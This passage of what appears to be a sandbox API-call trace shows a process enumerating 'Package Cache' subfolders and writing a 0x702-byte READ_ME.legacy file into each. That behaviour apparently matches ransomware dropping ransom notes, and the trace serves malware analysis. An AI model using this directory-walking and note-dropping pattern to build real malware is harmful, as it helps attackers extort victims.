nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0134.995] CloseHandle (hObject=0x6f8) returned 1 [0134.995] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x570c48 | out: hHeap=0x520000) returned 1 [0134.995] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c33d8 | out: hHeap=0x520000) returned 1 [0134.995] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3448 | out: hHeap=0x520000) returned 1 [0134.995] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60a898 | out: hHeap=0x520000) returned 1 [0134.995] FindNextFileW (in: hFindFile=0x60c3d8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd0b0dbb0, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ebe532, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd0b33e03, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="vcRuntimeAdditional_amd64", cAlternateFileName="VCRUNT~1")) returned 0 [0134.995] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e8ef8 [0134.995] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e8fc0 | out: hHeap=0x520000) returned 1 [0134.995] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e96c8 | out: hHeap=0x520000) returned 1 [0134.995] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d3e8 | out: hHeap=0x520000) returned 1 [0134.995] FindFirstFileW (in: lpFileName="\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9affe46, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ebfbe2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd5b00e28, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x60bed8 [0134.996] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x563358 | out: hHeap=0x520000) returned 1 [0134.996] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578728 [0134.996] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559d10 [0134.996] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578728 | out: hHeap=0x520000) returned 1 [0134.996] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e96c8 [0134.996] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559d10 | out: hHeap=0x520000) returned 1 [0134.996] GetLastError () returned 0x12 [0134.996] SetLastError (dwErrCode=0x12) [0134.996] GetLastError () returned 0x12 [0134.996] SetLastError (dwErrCode=0x12) [0134.996] GetLastError () returned 0x12 [0134.996] SetLastError (dwErrCode=0x12) [0134.996] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574860 [0134.996] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d9d0 [0134.996] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d9d0 | out: hHeap=0x520000) returned 1 [0134.996] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d550 [0134.996] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x60bc18 [0134.996] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60bc18 | out: hHeap=0x520000) returned 1 [0134.996] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e200a8 [0134.997] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e200a8 | out: hHeap=0x520000) returned 1 [0134.997] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d550 | out: hHeap=0x520000) returned 1 [0134.997] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574860 | out: hHeap=0x520000) returned 1 [0134.997] FindNextFileW (in: hFindFile=0x60bed8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9affe46, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ebfbe2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd5b00e28, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0134.997] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e96c8 | out: hHeap=0x520000) returned 1 [0134.997] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5785c0 [0134.997] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5592f8 [0134.997] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5785c0 | out: hHeap=0x520000) returned 1 [0134.997] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e8b10 [0134.997] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5592f8 | out: hHeap=0x520000) returned 1 [0134.997] GetLastError () returned 0x12 [0134.997] SetLastError (dwErrCode=0x12) [0134.997] GetLastError () returned 0x12 [0134.997] SetLastError (dwErrCode=0x12) [0134.997] GetLastError () returned 0x12 [0134.997] SetLastError (dwErrCode=0x12) [0134.997] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574860 [0134.997] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d450 [0134.997] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d450 | out: hHeap=0x520000) returned 1 [0134.997] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d320 [0134.997] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x60bc18 [0134.998] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60bc18 | out: hHeap=0x520000) returned 1 [0134.998] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e201c8 [0134.998] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e201c8 | out: hHeap=0x520000) returned 1 [0134.998] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d320 | out: hHeap=0x520000) returned 1 [0134.998] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574860 | out: hHeap=0x520000) returned 1 [0134.998] FindNextFileW (in: hFindFile=0x60bed8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd5b00e28, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xd5b00e28, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xd5b00e28, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0134.998] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e8b10 | out: hHeap=0x520000) returned 1 [0134.998] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578698 [0134.998] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559d10 [0134.998] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578698 | out: hHeap=0x520000) returned 1 [0134.998] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e9538 [0134.998] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559d10 | out: hHeap=0x520000) returned 1 [0134.998] GetLastError () returned 0x12 [0134.998] SetLastError (dwErrCode=0x12) [0134.998] GetLastError () returned 0x12 [0134.998] SetLastError (dwErrCode=0x12) [0134.998] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x120) returned 0x563358 [0134.998] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e9538 | out: hHeap=0x520000) returned 1 [0134.998] GetLastError () returned 0x12 [0134.998] SetLastError (dwErrCode=0x12) [0134.998] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d320 [0134.998] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d320 | out: hHeap=0x520000) returned 1 [0134.998] FindNextFileW (in: hFindFile=0x60bed8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9affe46, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ec031b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9b26095, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="vcRuntimeMinimum_x86", cAlternateFileName="VCRUNT~1")) returned 1 [0134.999] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x563358 | out: hHeap=0x520000) returned 1 [0134.999] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5784a0 [0134.999] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559d10 [0134.999] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5784a0 | out: hHeap=0x520000) returned 1 [0134.999] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e9150 [0134.999] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559d10 | out: hHeap=0x520000) returned 1 [0134.999] GetLastError () returned 0x12 [0134.999] SetLastError (dwErrCode=0x12) [0134.999] GetLastError () returned 0x12 [0134.999] SetLastError (dwErrCode=0x12) [0134.999] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x120) returned 0x563358 [0134.999] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e9150 | out: hHeap=0x520000) returned 1 [0134.999] GetLastError () returned 0x12 [0134.999] SetLastError (dwErrCode=0x12) [0134.999] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574860 [0134.999] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574b38 [0134.999] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574860 | out: hHeap=0x520000) returned 1 [0134.999] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574b38 | out: hHeap=0x520000) returned 1 [0134.999] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xe0) returned 0x563d40 [0134.999] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d528 [0134.999] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xe0) returned 0x5638b8 [0134.999] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c34b8 [0134.999] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3518 [0135.000] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5788d8 [0135.000] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559d10 [0135.000] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5788d8 | out: hHeap=0x520000) returned 1 [0135.000] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e8d68 [0135.000] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559d10 | out: hHeap=0x520000) returned 1 [0135.000] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x120) returned 0x570c48 [0135.000] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e8d68 | out: hHeap=0x520000) returned 1 [0135.000] GetLastError () returned 0x12 [0135.000] SetLastError (dwErrCode=0x12) [0135.000] GetLastError () returned 0x12 [0135.000] SetLastError (dwErrCode=0x12) [0135.000] GetLastError () returned 0x12 [0135.000] SetLastError (dwErrCode=0x12) [0135.000] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c4110 [0135.000] CreateFileW (lpFileName="\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86\\READ_ME.legacy" (normalized: "c:\\users\\all users\\package cache\\{582ea838-9199-3518-a05c-db09462f68ec}v14.10.25017\\packages\\vcruntimeminimum_x86\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6fc [0135.002] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c4110 | out: hHeap=0x520000) returned 1 [0135.002] WriteFile (in: hFile=0x6fc, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0135.004] CloseHandle (hObject=0x6fc) returned 1 [0135.004] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x570c48 | out: hHeap=0x520000) returned 1 [0135.004] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3518 | out: hHeap=0x520000) returned 1 [0135.004] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c34b8 | out: hHeap=0x520000) returned 1 [0135.004] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5638b8 | out: hHeap=0x520000) returned 1 [0135.004] FindNextFileW (in: hFindFile=0x60bed8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9affe46, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ec031b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9b26095, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="vcRuntimeMinimum_x86", cAlternateFileName="VCRUNT~1")) returned 0 [0135.004] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e96c8 [0135.004] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e8ef8 | out: hHeap=0x520000) returned 1 [0135.004] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e87f0 | out: hHeap=0x520000) returned 1 [0135.004] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d578 | out: hHeap=0x520000) returned 1 [0135.004] FindFirstFileW (in: lpFileName="\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9b26095, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ec10ed, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd5b00e28, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x60bd18 [0135.004] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x563358 | out: hHeap=0x520000) returned 1 [0135.004] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5783c8 [0135.004] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559e20 [0135.005] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5783c8 | out: hHeap=0x520000) returned 1 [0135.005] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e9538 [0135.005] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559e20 | out: hHeap=0x520000) returned 1 [0135.005] GetLastError () returned 0x12 [0135.005] SetLastError (dwErrCode=0x12) [0135.005] GetLastError () returned 0x12 [0135.005] SetLastError (dwErrCode=0x12) [0135.005] GetLastError () returned 0x12 [0135.005] SetLastError (dwErrCode=0x12) [0135.005] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574b38 [0135.005] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d030 [0135.005] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d030 | out: hHeap=0x520000) returned 1 [0135.005] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d410 [0135.005] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x60bf98 [0135.005] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60bf98 | out: hHeap=0x520000) returned 1 [0135.005] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e201e0 [0135.005] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e201e0 | out: hHeap=0x520000) returned 1 [0135.005] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d410 | out: hHeap=0x520000) returned 1 [0135.005] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574b38 | out: hHeap=0x520000) returned 1 [0135.005] FindNextFileW (in: hFindFile=0x60bd18, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9b26095, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ec10ed, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd5b00e28, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0135.005] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e9538 | out: hHeap=0x520000) returned 1 [0135.005] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578800 [0135.005] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559fb8 [0135.006] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578800 | out: hHeap=0x520000) returned 1 [0135.006] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e8ef8 [0135.006] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559fb8 | out: hHeap=0x520000) returned 1 [0135.006] GetLastError () returned 0x12 [0135.006] SetLastError (dwErrCode=0x12) [0135.006] GetLastError () returned 0x12 [0135.006] SetLastError (dwErrCode=0x12) [0135.006] GetLastError () returned 0x12 [0135.006] SetLastError (dwErrCode=0x12) [0135.006] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574b38 [0135.006] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d920 [0135.006] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d920 | out: hHeap=0x520000) returned 1 [0135.006] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d320 [0135.006] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x60c358 [0135.006] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60c358 | out: hHeap=0x520000) returned 1 [0135.006] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e202d0 [0135.006] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e202d0 | out: hHeap=0x520000) returned 1 [0135.006] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d320 | out: hHeap=0x520000) returned 1 [0135.006] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574b38 | out: hHeap=0x520000) returned 1 [0135.006] FindNextFileW (in: hFindFile=0x60bd18, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd5b00e28, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xd5b00e28, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xd5b26dcd, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0135.006] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e8ef8 | out: hHeap=0x520000) returned 1 [0135.006] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578890 [0135.006] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559fb8 [0135.006] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578890 | out: hHeap=0x520000) returned 1 [0135.007] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e9538 [0135.007] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559fb8 | out: hHeap=0x520000) returned 1 [0135.007] GetLastError () returned 0x12 [0135.007] SetLastError (dwErrCode=0x12) [0135.007] GetLastError () returned 0x12 [0135.007] SetLastError (dwErrCode=0x12) [0135.007] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x120) returned 0x563358 [0135.007] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e9538 | out: hHeap=0x520000) returned 1 [0135.007] GetLastError () returned 0x12 [0135.007] SetLastError (dwErrCode=0x12) [0135.007] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d500 [0135.007] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d500 | out: hHeap=0x520000) returned 1 [0135.007] FindNextFileW (in: hFindFile=0x60bd18, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9b26095, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ec173c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9b4c2ed, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="vcRuntimeAdditional_x86", cAlternateFileName="VCRUNT~1")) returned 1 [0135.007] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x563358 | out: hHeap=0x520000) returned 1 [0135.007] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5784e8 [0135.007] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559d10 [0135.007] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5784e8 | out: hHeap=0x520000) returned 1 [0135.007] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e9538 [0135.007] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559d10 | out: hHeap=0x520000) returned 1 [0135.007] GetLastError () returned 0x12 [0135.007] SetLastError (dwErrCode=0x12) [0135.007] GetLastError () returned 0x12 [0135.007] SetLastError (dwErrCode=0x12) [0135.008] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x120) returned 0x563358 [0135.008] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e9538 | out: hHeap=0x520000) returned 1 [0135.008] GetLastError () returned 0x12 [0135.008] SetLastError (dwErrCode=0x12) [0135.008] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574b38 [0135.008] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574b70 [0135.008] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574b38 | out: hHeap=0x520000) returned 1 [0135.008] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574b70 | out: hHeap=0x520000) returned 1 [0135.008] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xf0) returned 0x60a1d0 [0135.008] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d5a0 [0135.008] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xf0) returned 0x609df0 [0135.008] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3448 [0135.008] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3538 [0135.008] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5784e8 [0135.008] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559d10 [0135.008] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5784e8 | out: hHeap=0x520000) returned 1 [0135.008] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e8a48 [0135.008] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559d10 | out: hHeap=0x520000) returned 1 [0135.008] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x120) returned 0x570c48 [0135.008] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e8a48 | out: hHeap=0x520000) returned 1 [0135.008] GetLastError () returned 0x12 [0135.008] SetLastError (dwErrCode=0x12) [0135.008] GetLastError () returned 0x12 [0135.009] SetLastError (dwErrCode=0x12) [0135.009] GetLastError () returned 0x12 [0135.009] SetLastError (dwErrCode=0x12) [0135.009] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x110) returned 0x5854b8 [0135.009] CreateFileW (lpFileName="\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86\\READ_ME.legacy" (normalized: "c:\\users\\all users\\package cache\\{68306422-7c57-373f-8860-d26ce4ba2a15}v14.10.25017\\packages\\vcruntimeadditional_x86\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x700 [0135.011] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5854b8 | out: hHeap=0x520000) returned 1 [0135.011] WriteFile (in: hFile=0x700, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0135.012] CloseHandle (hObject=0x700) returned 1 [0135.013] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x570c48 | out: hHeap=0x520000) returned 1 [0135.013] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3538 | out: hHeap=0x520000) returned 1 [0135.013] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3448 | out: hHeap=0x520000) returned 1 [0135.013] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x609df0 | out: hHeap=0x520000) returned 1 [0135.013] FindNextFileW (in: hFindFile=0x60bd18, lpFindFileData=0x2e1fb24 | out: 